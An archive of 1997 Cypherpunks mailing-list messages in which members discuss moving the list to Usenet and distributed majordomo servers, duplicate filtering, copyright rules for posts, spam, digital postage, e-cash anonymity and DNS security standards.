Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > Dr.Dimitri Vulis KOTM wrote:
> > > "Timothy C. May" <tcmay@got.net> writes:
> > > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
> > > > >If the people decide for creation of a new USENET newsgroup,
> > > > >we need to think very hard about actually moving it to a different
> > > > >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> > > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that.
> 
> > It is too late to stop alt.cypherpunks, but if I had to make a
> > prediction again, I would predict that soon posters will BEG to help
> > them create comp.*.cypherpunks, because of spam and alt.flamage.
> 
> I would lean toward sci.crypt.cypherpunks myself.  Are there any
> implications in the use of that name as to restrictions, etc.?
> 

Not really. All you have to do is to go through a formal newsgroup
creation process, post a RFD, second RFD, a CFV, and supposedly 
impartial votetakers will record the votes. You must get > 100 votes
YES, and the number of YES votes should be more than twice (thrice?)
the number of NO votes.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 12 Feb 1997 22:26:19 -0800 (PST)
To: Lee Tien <tien@well.com>
Subject: Re: anonymity and e-cash
Message-ID: <199702130626.WAA04480@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Lee Tien wrote:
> Is payee anonymity technically possible?  Under what conditions?
> 
Yes.

In addition to having "money changers" play an anonymizing role, one can
use an anonymous bank account.  Contrary to intuition, banks might be
willing to set these up with cryptographic safeguards.

See http://www.law.miami.edu/~froomkin/articles/oceanno.htm#ENDNOTE286

which describes otherwise unpublished work by Brands (by permission).

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 12 Feb 1997 22:28:01 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Procmail during the transition, anyone?
Message-ID: <199702130628.WAA04589@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At various stages in the transition, we will be getting multiple copies of
the same messages as the are re- cross- whatever-posted to lists,
newsgroups and anything else handy.

Anyone have a procmail script that will show me just ONE copy of messages,
even if the headers are not identical (e.g. one looped, another was
forwarded, etc.)?

I have yet to find a good guide to procmail coding. My file is long, and
inefficient, and a pain to maintain...and I'm too busy to learn it right.

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 13 Feb 1997 06:41:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks-announce? Do we need to recreate this?
Message-ID: <199702131441.GAA01308@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Now that cypherpunks is moving, to both a newsgroup and one or more 
mailing lists, there's still a need for cypherpunks-announce or 
something like it.  So far it's carried 1-2 announcements per month.

Should we create it as a mailing list, moderated or unmoderated,
or as a newsgroup?  (It's been a moderated mailing list, run by John and
Hugh.)
Perhaps the right implementation is a mail exploder going to
several moderators in parallel, any of whom can forward to the list,
just to cut down delays?


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 13 Feb 1997 06:41:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security (Re: Encryption for DNS registration)
Message-ID: <199702131441.GAA01331@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Donald Eastlake posted this on the IAHC-discuss list.  Cool stuff.

>Date: Wed, 12 Feb 1997 10:14:05 -0500 (EST)
>From: "Donald E. Eastlake 3rd" <dee@cybercash.com>
>To: iahc-discuss@iahc.org
>Subject: Security (Re: Encryption for DNS registration)
>
>People may want to note that yesterday (Feb 11th) the IESG approved the DNS
>dynamic update and DNS secure dynamic update (draft-ietf-dnssec-update-04.txt
>and draft-ietf-dnsind-dynDNS-11.txt) as Proposed Standards.  The base DNS
>security protocol was approved some time ago and is now out as RFC 2065.  TIS
>is working on a government funded implementation which will be in the public
>domain (http://www.tis.com/docs/research/network/dns.html).  Their current
>Beta implementation of the base DNS security has been approved for export.  I
>believe there is an independent implementation effort underway at Microsoft. 
>
>While this was primarily motived by wanting to be able to securely do dynamic
>updates of the DNS in connection with DHCP, it is a general facility and
>could be one element of securely implenmeting a shared TLD.  You would,
>however, still need a way of sending general authenticated messages.  PGP
>seems like an excellent candidate for this as it is the de-facto standard
>available world wide.
>
>Donald

	[ quotes from previous messages deleted -- Bill ]

>=====================================================================
>Donald E. Eastlake 3rd     +1 508-287-4877(tel)     dee@cybercash.com
>   318 Acton Street        +1 508-371-7148(fax)     dee@world.std.com
>Carlisle, MA 01741 USA     +1 703-620-4200(main office, Reston, VA)
>http://www.cybercash.com           http://www.eff.org/blueribbon.html
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 13 Feb 1997 06:41:20 -0800 (PST)
Subject: Private property & the cypherpunks list(s)
Message-ID: <199702131441.GAA01332@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(Readers curious about Jim Choate's list ownership/acceptable use
policies might take a look at <http://www.ssz.com/ssz/conditions.html>.)

Jim Choate wrote:

> Please explain how making submissions de facto public domain censors
> anyone?

What the fuck is "de facto public domain"? It's public domain, or it's
not. 

Your scheme imposes a cost (loss of intellectual property rights)
against authors who would like to make themselves heard. It also
prevents a certain class of messages (those messages whose status is
"copyright claimed") from being distributed. Further, your suggestion
that posters be required to include a "fair use header" is compelled
speech.

That's three flavors of "censorship" right there. I thought that the new
list(s) were supposed to allow anyone to say anything they wanted. 

(Does "no fair use" count as a "fair use header"? It's not legally
enforceable, but it seems like the easiest way to specify "minimum fair
use required by law". If not, are you planning to moderate the list to
make sure that people use only approved fair use headers? Hmm.) 

Even if the "copyright abandonment by implication" trick works (and I
suspect it will not, given that an assignment or transfer of copyright
must be in writing, 17 USC 204; and abandonment is essentially an
assignment or transfer to the public domain), it will not apply to all
text sent to the list. A person cannot abandon or assign something they
do not have; so if someone sends a message to the list which contains
text whose copyright is held by a third party, that copyright will still
be valid. 

So what you've got is a list where you can't be sure that its contents
are public domain, and a draconian rule requiring authors to give up
their rights to what they've written.

Do you imagine that all of the many-majordomo servers will implement
your "public domain only" rule, or only yours? 

If the rule only applies to the ssz.com version, what's the point?

If the rule is intended to apply to all servers, and servers aren't
going to be allowed into the network without agreeing to implement it
locally, um, tell me again about that "free speech" thing? Aren't you
just taking advantage of your position as a person working on the
many-majordomos project to impose your ideas about intellectual property
on the rest of the list? Is such a strategy compatible with "free
speech"? 

Also, how could a rule like this possibly be compatible with a Usenet
gateway? There's no chance at all that you can expand a local rule on
your system to all of Usenet through a gateway. 

And Declan McCullagh wrote:

>I forward articles to cypherpunks that are copyrighted by my employers, or
>magazines like Playboy and Wired for which I write freelance pieces. 
>
>I like to think these articles have some value. I will not forward any of
>them, nor would I be able to, if they magically became "public domain."

Which are good points - also, don't forget that, from time to time,
people have even posted code to the cpunks list, and many software
authors like to retain copyright in their code so that they can insist
on things like noncommercial distribtion or credit where the code is
reused. If a work is truly "public domain", the author has no power to
insist on those things. 

This proposed rule seems to limit postings to those which are perceived
by their authors to be without commercial or reputational value. Is that
a good idea?

--
Greg Broiles                | US crypto export control policy
gbroiles@netbox.com         | in a nutshell:
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Wed, 12 Feb 1997 15:11:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: CAPI 2.0 beta!
Message-ID: <199702122311.PAA08280@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


hi guys,

anybody used the Microsoft CAPI 2.0?

anand....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Wed, 12 Feb 1997 21:11:41 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702130511.VAA29288@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   Date: Wed, 12 Feb 1997 14:33:03 -0800
   From: Greg Broiles <gbroiles@netbox.com>

   Yes, I installed INN and ran a few hundred test messages through it last
   night. My machine will be on the net full-time Thursday or Friday. Will yours
   be ready then, too? 

We've got INN here. I created a cpunks.general group (as well as
alt.cypherpunks) on taz.nceye.net and made both world-accessible.  Our
feed hasn't got alt.cypherpunks yet; is someone who has got it willing
to feed it?  (also, is there a consensus on what group names to use:
new top-level hierarchy? cpunks or cypherpunks? or just the alt group,
with the usual propagation and spam problems?)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 12 Feb 1997 22:11:15 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com>
Subject: Re: (2)Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702130611.WAA03602@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970212:1525 "Timothy C. May" <tcmay@got.net> said:

+At 6:21 PM +0000 2/12/97, Attila T. Hun wrote:
+>    maybe relief is in sight; can we spell excedrin?
+>
+>on or about 970211:1433 educom@elanor.oit.unc.edu said:
+>
+>+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL
+>
+>+A U.S. district court in Ohio has granted CompuServe's request for a
+>+preliminary injunction barring Cyber Promotions Inc. from sending
+>+unsolicited e-mail to its subscribers while the commercial provider
+...

+Were I a customer of CompuServe, I'd ask on what basis CompuServe was
+intercepting e-mail to me. In fact, a CompuServe account holder has
+made just this point: "I'll decide what's junk mail and what's not."]]
+
    I could not agree more, in theory, except for the postage you 
    discuss below which permits spammers greed to exceed responsibility, 
    let alone the public interest.

    I am, of course, a theoretical anarchist; I believe I could put 
    aside greed (and have) to be sufficiently altruistic to make a 
    society of anarchists work (in a limited population model). 
    However:

        "Only two things are infinite, 
          the universe and human stupidity, 
          and I'm not sure about the former."
                --Albert Einstein

    as long as we have a >30% third and fourth generation welfare class 
    which the dogood liberal bleeders say we are obligated to sustain 
    their breeding; and another 30% which are functionally illiterate, 
    there is no hope for idealism.
 
    our "neighbors" have no idea how to spell anarchy, let alone 
    understand the price of freedom.

    just because I would cut off the permanent welfare class at the 
    knees, and disenfranchise the functionally illiterate if I had the 
    chance, does not make anarchy any more feasible; it's just a more 
    rigid police state for the havenots --again, something we do not 
    need.

    sorry to be a pragmatic pessimist, but it went down hill with the 
    16th amendment and the Federal Reserve Act to benefit the     
    Rockefellers, Vanderbilts, Rothschilds, Chases, etc. at our expense. 

+Having the court system involved in deciding what mail is valid and
+what is not valid is not my idea of a free society.
+
    again, you are correct except anarchy requires responsibility. free 
    agency has its requirements and this is why junk fax was banned.
    too many members of our society can not spell anarchy or 
    responsibility --their knowledge of vocabulary starts and ends with 
    greed.

+Having said this, the flaw remains that "junk mail" is "free" to the
+sender. This is a flaw in the ontology of e-mail, and needs to be
+fixed. Digital postage is one approach.

    probably cut down on our postings to cp as well!  32 cents to post?

+I'm not holding my breath, but I sure don't want a "District Court"
+deciding.

    I don't like the regulatory agencies either, but at least they are 
    not Judge Roy Bean, Law West of the Pecos.

    unfortunately, until the irresponsible tone down their greed, we 
    need the regulation to protect ourselves from the predators.

    in other words, I agree with you in my heart, but our society 
    refuses to cooperate.  

 ___________________________________________________________attila_____
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 

 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 13 Feb 1997 11:44:21 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: More on Digital Postage
Message-ID: <199702131944.LAA09571@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 5:00 AM +0000 2/13/97, Attila T. Hun wrote:

>on or about 970212:1525 "Timothy C. May" <tcmay@got.net> said:

>+Having said this, the flaw remains that "junk mail" is "free" to the
>+sender. This is a flaw in the ontology of e-mail, and needs to be
>+fixed. Digital postage is one approach.
>
>    probably cut down on our postings to cp as well!  32 cents to post?
>

I'm sure Attila does not believe any digital postage scheme would fix the
message rate at 32 cents, but it's an issue worth expanding upon.

First, the rate would be based on true market conditions, presumably. That
is, carriers of traffic would negotiate rates. Multiple stages of carriage
would involve negotiation between carriers.

(As with shipment of physical goods, where a shipment from Alice to Bob
might involve several carriers: trucks, trains, warehouse use, delivery
vans, toll road fees. All are "folded in" to the $3 or whatever charge paid
by Alice or Bob, depending.)

Second, the carriage charges for an ordinary e-mail message would likely be
in the sub-cents range.

Third, I don't see this ontological restructuring happening anytime soon.
People have gotten used to "free" services.

Fourth, we need to be alert to moves by the U.S. Postal Service to get a
foot in the door for "digital postage." There's nothing they'd like more
than having people clamor for the government to "do something!" about spam
and "unwanted mail" and thus get this foot in the door.


>    unfortunately, until the irresponsible tone down their greed, we
>    need the regulation to protect ourselves from the predators.
>
>    in other words, I agree with you in my heart, but our society
>    refuses to cooperate.

Attila and I have had this disagreement before (last time it involved
Attila's support for curfews).

Attila is free to hire agents to screen his mail so he does not receive
spam. He is not free, in a free society, to force such screeners upon me.

Talking about "irresponsible tones" and "greed" and how we need more laws
to protect ourselves from "predators" sounds more like something from the
Marin County limousine liberal set than from a Utah mountain man
Cypherpunk. I'm shocked, simply shocked.

(:-})

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 13 Feb 1997 07:40:56 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Private property & the cypherpunks list(s)
Message-ID: <199702131540.HAA04224@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This is where the distributed nature of the list comes   in.

if someone disagrees with Jim's AUP, he or she can use soem other
mailing list host.

igor

Greg Broiles wrote:
> 
> (Readers curious about Jim Choate's list ownership/acceptable use
> policies might take a look at <http://www.ssz.com/ssz/conditions.html>.)
> 
> Jim Choate wrote:
> 
> > Please explain how making submissions de facto public domain censors
> > anyone?
> 
> What the fuck is "de facto public domain"? It's public domain, or it's
> not. 
> 
> Your scheme imposes a cost (loss of intellectual property rights)
> against authors who would like to make themselves heard. It also
> prevents a certain class of messages (those messages whose status is
> "copyright claimed") from being distributed. Further, your suggestion
> that posters be required to include a "fair use header" is compelled
> speech.
> 
> That's three flavors of "censorship" right there. I thought that the new
> list(s) were supposed to allow anyone to say anything they wanted. 
> 
> (Does "no fair use" count as a "fair use header"? It's not legally
> enforceable, but it seems like the easiest way to specify "minimum fair
> use required by law". If not, are you planning to moderate the list to
> make sure that people use only approved fair use headers? Hmm.) 
> 
> Even if the "copyright abandonment by implication" trick works (and I
> suspect it will not, given that an assignment or transfer of copyright
> must be in writing, 17 USC 204; and abandonment is essentially an
> assignment or transfer to the public domain), it will not apply to all
> text sent to the list. A person cannot abandon or assign something they
> do not have; so if someone sends a message to the list which contains
> text whose copyright is held by a third party, that copyright will still
> be valid. 
> 
> So what you've got is a list where you can't be sure that its contents
> are public domain, and a draconian rule requiring authors to give up
> their rights to what they've written.
> 
> Do you imagine that all of the many-majordomo servers will implement
> your "public domain only" rule, or only yours? 
> 
> If the rule only applies to the ssz.com version, what's the point?
> 
> If the rule is intended to apply to all servers, and servers aren't
> going to be allowed into the network without agreeing to implement it
> locally, um, tell me again about that "free speech" thing? Aren't you
> just taking advantage of your position as a person working on the
> many-majordomos project to impose your ideas about intellectual property
> on the rest of the list? Is such a strategy compatible with "free
> speech"? 
> 
> Also, how could a rule like this possibly be compatible with a Usenet
> gateway? There's no chance at all that you can expand a local rule on
> your system to all of Usenet through a gateway. 
> 
> And Declan McCullagh wrote:
> 
> >I forward articles to cypherpunks that are copyrighted by my employers, or
> >magazines like Playboy and Wired for which I write freelance pieces. 
> >
> >I like to think these articles have some value. I will not forward any of
> >them, nor would I be able to, if they magically became "public domain."
> 
> Which are good points - also, don't forget that, from time to time,
> people have even posted code to the cpunks list, and many software
> authors like to retain copyright in their code so that they can insist
> on things like noncommercial distribtion or credit where the code is
> reused. If a work is truly "public domain", the author has no power to
> insist on those things. 
> 
> This proposed rule seems to limit postings to those which are perceived
> by their authors to be without commercial or reputational value. Is that
> a good idea?
> 
> --
> Greg Broiles                | US crypto export control policy
> gbroiles@netbox.com         | in a nutshell:
> http://www.io.com/~gbroiles | Export jobs, not crypto.
> ======================================
> == This list is still experimental. ==
> == complain to ichudov@algebra.com  ==
> ======================================
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Thu, 13 Feb 1997 12:01:24 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: distributed mailing list architecture
Message-ID: <199702132001.MAA09942@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:11 PM 2/7/1997, Adam Back wrote:
>Igor Chudov <ichudov@algebra.com> writes:
>> I'd suggest a simplier solution: to connect each server with a couple,
>> or maybe three, other servers. This scheme is rather robust, does not
>> consume too much CPU time and bandwidth, and is easy to implement.

> I'm not sure what the architecture you are suggesting is, but this is
> what I suggest as the simplest to set up.

> Have one main majordomo.

> Have many mail-exploders.

> You subscribe to the main majordomo request address, and it forwards
> your subscription request to a random mail-exploder.

> You unsubscribe to the main majordomo request address, and it forwards
> your subscription to all the mail-exploders request addresses
> (unsubscribe traffic is low anyway, keeping track of who is subscribed
> where at the main major domo doesn't seem worth it).

> Each person who wishes to run an exploder is subscribed (manually) to
> the main majordomo.

> You submit articles to the main majordomo, and it sends copies of the
> articles to it's subscribers (the mail-exploders).

> The mail-exploders send mail to the address on their subscriber lists.

> (John Gilmore suggested this architecture, as a simpler alternative).

This mostly solves the performance problem, but performance was not the
only choke point.  It is important to have many machines which accept
posts and which send them to other machines.

(Also, many interconnections means that few messages have to go through
more than two machines which should make message distribution
extraordinarily fast and highly redundant.  Standing in the way of
the cypherpunks list will be like standing in the way of the wind.)

I suggest we consider the problem of subscriptions to be independent
of the problem of posting and distributing messages.

Some machine owners may wish to pool subscription activities.  The
fast and easy approach is to have an official cypherpunks subscription
page which lists all of the mail servers which will accept new
subscribers.  (The person who maintains this page would ideally not
be somebody running a mail server.)  The interested person looks
at the page and then picks a majordomo to subscribe to.

It seems beneficial to me from a technical and social standpoint to
have a web of relationships between list managers and subscribers.
If as a subscriber you have some sort of problem (technical or social),
it will work better if there is just one person to talk to rather than
a loose network of volunteers.

Peter







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael H. Warfield" <mhw@wittsend.com>
Date: Thu, 13 Feb 1997 07:26:01 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: How to make majordomo request confirmations of subscriptions?
Message-ID: <199702131526.HAA03585@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com enscribed thusly:

> Hi All,

> I would like to set up my majordomo to request subscription
> confirmations from users, by sending them a cookie. Looking at the
> majordomo config files, I have not found such option.

	Majordomo 1.94 and above...

	subscribe_policy = open+confirm

	Last I looked, majordomo does not have subscription expirations
or periodic confirmations.  A couple of months ago someone else on a large
mailing list I help run suggested a package that would periodically mail
a bounce probe.  The probe would have explicit instructions to do NOTHING
if you wanted to remain on the list, just ignore the message.  If the
message came back, due to an E-Mail bounce, vacation program, or someone
who decided they didn't want to remain on the list after all, you toasted
them off.  Sort of an inverse confirmation message.  I lost the message
about the package before I could find it.  It sounds like a great compliment
to majordomo.  Maybe should be another feature for majordomo?  Anyone who
has heard of this add-on, let me know.  I'm still looking for it.

> Ideally I would like to have a system that a) requires the
> new users confirm new subscriptions and b) once in a while
> as users to confirm their existing subscriptions.

	The instruction which go back with the job results and the confirmation
need to be beefed up.  I've had a lot of subscribers get "confused" when
their STUPID windows mailer breaks their "auth" message into two lines and
majordomo refuses to recognize it.  Forwarding the confirmation message
back or "replying" to it tend to screw up big time, so I modified the message
in my version to instruct users to "create a new message with this line as
the only line in the body".  It's cut down on the screwed up subscriptions
immensely.

	Majordomo also needs to be enhanced a bit to flush out bits and pieces
of floatsam in the E-Mail address that are not valid E-Mail addresses...
Example:  "Michael H. Warfield" <mhw@wittsend.com> would result in messages
going back to Michael, H., and Warfield, as well as mhw@wittsend.com.  I'm
planning on cleaning out any whitespace separated tokens which do not
contain an embedded "@" followed by a least one "." and ending with an alpha
or a ".".  That's on my to-do list for this week or next...  Along with
upgrading to 1.94.1.

> Is there any way to do it?

> Thank you.

> 	- Igor.
> 

-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 13 Feb 1997 11:58:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Keep it Simple and the Cypherpunk Way
Message-ID: <199702131958.LAA09879@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


At 11:42 AM -0500 2/13/97, Derek Atkins wrote:

>Unfortunately, the messages that make it through to the cypherpunks
>list have their MessageID changed when they get approved.  So,
>checking for duplicates by MessageID fails, given the current approval
>mechanism. :(
>
>I've informed Sandy of the problem, but he doesn't know how to
>preserve the original MessageIDs.

I will phrase my message here as respectfully as possible vis-a-vis the
goals of the moderation experiment. That is, I will only deal with one
aspect, the one of _costs_ of the moderation experiment.

To wit, the _costs_ of the moderation experiment--Sandy's time, our time
spent debating moderation, and now the issues raised by Michael Froomkin
and others about dealing with the chaos of multiple, overlapping
lists--greatly exceed the relatively small amount of effort it took anyone
to simply delete the insult posts, the ASCII art posts, etc.

I respectfully submit that the huge costs incurred on several parties have
cumulatively far exceeded the minor savings of not having a handful of the
'bot-generated insults of the day and some of the ASCII art generated. As
to the "comity" of the list, the moderation experiment has clearly had just
the opposite effect, predictably. (Imposing comity is rarely easy,
especially given an independent bunch of folks who are suspicious of
moderators screening their words for evidence of non-comity!). And the ill
will generated toward certain folks has been regrettable, and vastly more
costly than any minor savings in not having to see a few messages. 

"Keep it simple, stupid," the oft-quote KISS principle.

A moderation scheme--except perhaps those run very tightly a la Peter
Neumann's RISKS list--almost always bogs down into debates about the
moderation criteria, the acceptability of certain posts, and so on. Now we
see another effect: multiple lists and a confusing array of cross-posts,
mail-to-News gateways, News-to-mail gateways, etc.

The "Cypherpunks Way" is to encourage and empower people to filter their
own stuff, or to hire outside contractors to do it for them. Failing that,
to let them twist slowly in the wind. "Think of it as evolution in action."

The Cypherpunks Way is also the simplest system.

I hope this episode has reminded us of this lesson.

--Tim May

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Eric.Pinsard" <epinsard@supelec-rennes.fr>
Date: Thu, 13 Feb 1997 06:41:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: key escrow & ttp
Message-ID: <199702131441.GAA01292@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello
I am a student in an engineer school and i have to find where and who
are third trusted party for key escrowing all over the world.
If you know such organisation or someone who can help me in my quest,
please mail me back , i am not in a list.

best regards

Eric Pinsard







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pete Capelli <pete@ubisg.com>
Date: Thu, 13 Feb 1997 07:40:54 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702131540.HAA04218@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> At 03:25 PM 2/12/97 -0800, Timothy C. May wrote:

<Some deleted>

> even more happy to pay, say, 10 cents to each recipient.  At that rate, an average
> person would probably receive enough "spam" to  pay for his Internet
> account, quite analogous to the way advertiser-supported TV is presented to
> the public for no explicit charge.

	Yes, but why does monetary compensation make it then O.K.?  I'd rather
pay for my Internet access, then be bombarded by spam, no matter what
they paid me!  I think the best soln. is the one that is currently in
place for phone calls - they can call once, but if I tell them not to
call me again and they do, I can then begin legal action against them. 
I pay more per month for my phone service than my Internet service (
although in NY, *everything* is more expensive. ), and junk phone calls
are way more intrusive then spam.

> 
> Jim Bell
> jimbell@pacifier.com

-pete

-- 
Pete Capelli, CNE	UB Networks, Inc.	pcapelli@ub.com
*****	Finger pete@idaho.ubisg.com for my PGP Public key !! *****
They that give up essential liberty to obtain a little temporary safety
deserve neither liberty nor safety.        - Benjamin Franklin, 1759





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 13 Feb 1997 08:10:56 -0800 (PST)
To: Cypherpunks Mailing List <cypherpunks@toad.com>
Subject: Openmarket/128 bit export?
Message-ID: <199702131610.IAA04897@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Just saw a newswire about Openmarket exporting 128 bit ssl
for OM-Transact.  Anyone have any details?

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 13 Feb 1997 12:11:56 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702132011.MAA10172@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:23 PM 2/12/97 -0800, jim bell wrote:
...
>I decided long ago (okay, well, many months ago) that the "solution" is to 
>invent a mechanism to allow spammers/advertisers to include a small amount 
>of ecash as a gift with every spam.  I figure that if USnail junk-mailers 
>are willing to pay $0.32 for postage and probably $0.50 for production, 
>printing, and labelling costs, all for no guarantees of results, they should 
>even more happy to pay, say, 10 cents to each recipient.  At that rate, an
average 
>person would probably receive enough "spam" to  pay for his Internet 
>account, quite analogous to the way advertiser-supported TV is presented to 
>the public for no explicit charge.

First of all, they don't spend 32 cents per post.  They get one of those
bulk-mail permits which allows them to send those at a significant savings.
The whole package complete with the cheap "Yes, I'll try your service, and
send me the free gizmo"/"No, I don't need any more services, but I could use
the free gizmo" stickers probably costs well within 50 cents.
TV is not a gift per say, though your origional posts, involving a cookie,
suggested something closer to TV.  Currently, advertiser subsidized
services, like hotmail, Yahoo, and similair, are closer in that you get the
gift with only the minor distraction of the advertisement.

A more functional system might be to include a cryptographic "key" of only a
few bytes in the e-mail post that opens some online service of relative
value.  Along the lines of a hidden, no URL FTP site with all the best
downloads.
This would not be dependant upon e-cash being in place.  Would require that
the customer read at least part of the message in order to get the
instructions on how to use the key.  Prevent the user from just handing out
the key to whoever asked as it would probably have a limited lifespan.  And
give the sender some location from which to conduct polling, headcounts, etc.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derek Atkins <warlord@MIT.EDU>
Date: Thu, 13 Feb 1997 11:41:33 -0800 (PST)
To: Anil Das <das@sgi.com>
Subject: Re: Procmail during the transition, anyone?
Message-ID: <199702131941.LAA09515@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das <das@sgi.com> writes:

[snip]
> It detects duplicates by Message-Id.

Unfortunately, the messages that make it through to the cypherpunks
list have their MessageID changed when they get approved.  So,
checking for duplicates by MessageID fails, given the current approval
mechanism. :(

I've informed Sandy of the problem, but he doesn't know how to
preserve the original MessageIDs.

-derek

-- 
       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
